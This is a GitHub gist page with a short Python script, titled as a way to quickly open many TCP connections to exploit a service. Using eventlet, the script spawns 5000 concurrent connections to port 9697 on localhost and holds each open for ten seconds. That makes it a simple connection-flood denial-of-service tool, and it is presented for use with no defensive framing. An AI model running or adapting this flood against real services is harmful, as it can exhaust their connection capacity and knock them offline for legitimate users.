Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Save fortitudepub/dbf00fd3c0d156c97ccc155351b21220 to your computer and use it in GitHub Desktop.
Save fortitudepub/dbf00fd3c0d156c97ccc155351b21220 to your computer and use it in GitHub Desktop.
quickly create many tcp connection to exploit service using python eventlet
import eventlet
pool = eventlet.GreenPool()
def bomb():
a = eventlet.connect(("127.0.0.1", 9697))
eventlet.sleep(10)
a.close()
i=0
while i<5000:
pool.spawn(bomb)
i=i+1
pool.waitall()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment